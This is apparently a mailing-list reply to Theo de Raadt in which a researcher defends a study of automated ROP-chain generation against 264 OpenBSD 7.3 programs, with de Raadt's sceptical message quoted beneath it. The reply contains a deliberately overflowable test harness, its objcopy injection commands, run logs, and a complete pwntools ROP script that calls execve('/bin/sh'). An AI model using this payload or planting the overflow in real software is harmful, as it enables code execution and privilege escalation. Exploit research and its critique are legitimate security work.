Thank you for your response. It seems there might be some misunderstanding
about what I'm researching. Allow me to explain the experiments I'm
conducting in more detailed.


We are working on implementing a tool similar to angrop
<https://github.com/angr/angrop> and ropium
<https://github.com/Boyan-MILANOV/ropium>. These tools aim to automate ROP
attacks. Such tools were initially introduced in the paper Q: Exploit
Hardening Made Easy
<https://www.usenix.org/conference/usenix-security-11/q-exploit-hardening-made-easy>.
These tools and papers generally assume the ability to bypass ASLR and
other address randomization techniques, *focusing more on automating the
selection and chaining of Gadgets in a given program to construct an ROP
payload*.


I'm not entirely clear about the meaning of your statement, "*You cannot
see where in memory the binary is mapped.*" However, I gather from the
sentence, "*What info leak are you exercising to extract **libc.so's
** location,
and per-boot layout, and then precisely target the specific 'syscall'
instruction?*" that you may be referring to the challenge of not being able
to accurately determine the address of the 'syscall' instruction due to
address randomization.


I also checked the protection mechanisms for programs in OpenBSD 7.3 using
the 'checksec' tool from pwn. OpenBSD enables PIE (Position Independent
Executable) code address randomization protection. When faced with address
randomization, many exploits require first achieving an address leak or
employing other ASLR bypass techniques before proceeding with further
privilege escalation. However, our primary focus is not on address leak
methods, as they can vary significantly and are closely tied to the
specific vulnerability and program. Instead, *we concentrate on automating
the Gadget selection and chaining process to achieve privilege escalation
ultimately.*


Our experiments revolve around evaluating the ROP construction capability
of each program's Gadget collection. In other words, we assess the maximum
ROP construction potential of each program's distinct Gadget collection.
Initially, we assume that the issue of address randomization can be
bypassed using known address leak vulnerabilities/exploitation techniques.
For our experiments, we disable the address randomization protection
mechanism in the programs.

In our experiments, we extracted 264 programs from OpenBSD 7.3, which we
have made available in the orig folder on Github
<https://anonymous.4open.science/r/roptest-benchmark-00F7/orig/openbsd-73>.
We then injected simple stack overflow vulnerabilities into these programs
using *objcopy*, while preserving all the original program's code to*
ensure the integrity of the original Gadget collection*. We placed the
programs with injected vulnerabilities in the vuln folder on Github
<https://anonymous.4open.science/r/roptest-benchmark-00F7/vuln/openbsd-73>,
with each program corresponding to a specific one in the orig folder.


Please note that after injecting the vulnerabilities, the programs execute
the '*main*' function from the vulnerable program, not the entry function
from the original program. However, the Gadgets from the original program
are still usable. This approach allows us to evaluate the ROP construction
capability of the original program's Gadget collection and use the injected
vulnerabilities to validate the correctness of ROP exploitation.


# critical code in vul.c .
>>
>> void vul() {
>>   char buf[1];
>>   int fd = open(filename, O_RDONLY);
>>   assert(fd != -1);
>>   size_t size = filesize(fd);
>>   printf("\t- File '%s' with size '%i'\n", filename, size);
>>   int ret = read(fd, buf, size);
>>   assert(ret != -1);
>> #ifdef WINDOWS
>>   ;
>> #else
>>   close(fd);
>> #endif
>>   return;
>> }
>> int main(int argc, char **argv) {
>>   setbuf(stdout, NULL);
>>   snprintf(filename, sizeof(filename), argv[1]);
>>   printf("Start Test Program!\n");
>>   printf("main: %p", main);
>>   vul(filename);
>>   printf("   FAIL\n");
>>   printf(" * Control flow wasn't be hijacked\n");
>>   return 0;
>> }
>>
>>
> # critical code in Makefile.
> # gcc -m64 vul.c -o vul32.o -fno-PIC -fno-stack-protector -g -c
> # objcopy --add-section .mytext=$< --set-section-flags
> .mytext=alloc,code,load,readonly source/vul64.o $@
>

This provides an example of ROP generation, such as the "chmod
<https://anonymous.4open.science/r/roptest-benchmark-00F7/vuln/openbsd-73/chmod.bin>"
program, which is only 290KB and has a very limited number of gadgets.
Using the ropper <https://github.com/sashs/Ropper> tool, we found only 1088
gadgets. Using gadgets becomes increasingly challenging under the influence
of OpenBSD's ROP mitigation mechanism. Through multiple automated attempts
at selecting and chaining gadgets, our tool eventually generated an exploit
script that successfully executes execve("/bin/sh", 0, 0). The exploit is
highly complex, and you can find the script here
<https://anonymous.4open.science/r/roptest-benchmark-00F7/rop_example/openbsd-73/chmod.bin.script>.
The complexity arises due to limitations on the number of gadgets, the
complexity of gadgets, data dependencies among gadgets, and the side
effects of gadgets.


In comparison, a more straightforward example is the "as" program. The ROP
payload
<https://anonymous.4open.science/r/roptest-benchmark-00F7/rop_example/openbsd-73/as.bin.script>
for
this program is relatively simple, and it can also achieve the ROP target
of calling execve("/bin/sh", 0, 0).


Please note: Below are the execution results. The "as.bin.input" is the
file generated by the ROP payload. The vul function reads its file content,
leading to an overflow and executing the malicious ROP payload. Finally, it
calls execve("/bin/fh", 0, 0), where /bin/fh is a program we compiled
ourselves, which will output the word "SUCCESS," as shown below. It is
evident that by modifying "/bin/fh" to "/bin/sh," the vulnerability
exploitation for obtaining a system shell can be achieved.


$ ./as.bin as.bin.input
> Start Test Program!
> main: 0x401418  - File 'as.bin.TTRop3.input' with size '149'
> SUCCESS
> PARAMETERS ARE CORRECT


$ ./chmod.bin chmod.bin.input
> Start Test Program!
> main: 0x401418  - File 'chmod.bin.TTRop3.input' with size '933'
> SUCCESS
> PARAMETERS ARE CORRECT



Appendix: The complete ROP attack script for generating as.bin.input. It
first utilizes the gadget "add qword ptr [rcx + 0xf], rax" to write the
"/bin/sh" string. Then, it sequentially sets the values of the rsi, rdi,
rdx, and rax registers, finally jumping to the syscall instruction to
complete the system call.

In the absence of address randomization factors, it is relatively easy to
reach the 'syscall' instruction contained within the program. These gadgets
are derived from situations where some programs use functions like
sys_write.


from pwn import *

## add overflow padding
> payload = 'a'*29
> payload += p64(0x46fb23)
> #0x46fb23: pop rcx ; retf
> payload += p64(0x50f049)+p32(0x43cafc)+p32(0x33)
> # 0x43cafc: pop rax ; retf
> payload += p64(0x68662f6e69622f)+p32(0x4af703)+p32(0x33)
> # 0x4af703: add qword ptr [rcx + 0xf], rax ; retf
> payload += p32(0x424a20)+p32(0x33)
> # 0x0000000000424a20: pop rax; ret;
> payload += p64(0x0)+p64(0x482e4e)
> # 0x0000000000482e4e: xchg esi, eax; ret;
> payload += p64(0x475415)
> # 0x0000000000475415: pop rdi; ret;
> payload += p64(0x50f058)+p64(0x47b421)
> # 0x000000000047b421: pop rdx; ret;
> payload += p64(0x0)+p64(0x424a20)
> # 0x0000000000424a20: pop rax; ret;
> payload += p64(0x3b)+p64(0x43ce7d)
> # 0x000000000043ce7d: syscall;
> payload += b''
> with open('as.bin.input', 'wb') as fw:
>     fw.write(payload)



Best regards,

ZoE

Theo de Raadt <dera...@openbsd.org> 于2023年10月12日周四 01:29写道:

> Nan ZoE <zoen...@gmail.com> wrote:
>
> > In *OpenBSD 7.3,* out of 264 programs, we only
> > managed to generate ROP for 134 programs, with a success rate of
> *50.75%*.
>
> Please provide a list of all programs where you *ESCALATED PRIVILEGE*
> via ROP methods.  I ask, because:
>
> 1. If you are playing with a setuid static program, you cannot see where
>    in memory the binary is mapped, so you do not know the precise
>    syscall stub that is permitted for execve(2).
>
> 2. If you are playing with a setuid dynamic program, you cannot see
>    where in memory libc.so is mapped, so you do not know the precise
>    syscall stub that is permitted for execve(2).
>
> 3. If you are attacking a daemon, you cannot see where in memory it's
>    execve stub (dynamic or static) is mapped, so you do not know the
>    precise syscall stub to address which will perform execve(2).
>
> Please explain how you perform the step of determining the execve system
> call entrypoint for a memory image which is not readable.
>
> From innovations.html:
>
>     ld.so and crt0 register the location of the execve(2) stub with the
>     kernel using pinsyscall(2), after which the kernel only accepts an
>     execve call from that specific location. Theo de Raadt, Feb 2023.
>
> What info leak are you exercising to extract libc.so's location, and
> per-boot layout, and then precisely target the specific "syscall"
> instruction?
>
> My theory is that you are performing tests which are highly synthetic
> (like -- reading a binary, checking it's in-memory layout once it starts
> executing), and then you conclude that all the steps to your ROP
> methodology
> are sufficient to plausibly gain *ESCALATED PRIVILEGE*.
>
> So either you have new methodology that allows you to bypass these other
> mitigations, or you have jumped to conclusion that the existance of
> polymorphic
> ROP learned from (impossible) runtime inspection gaurantees exploit.
>

Reply via email to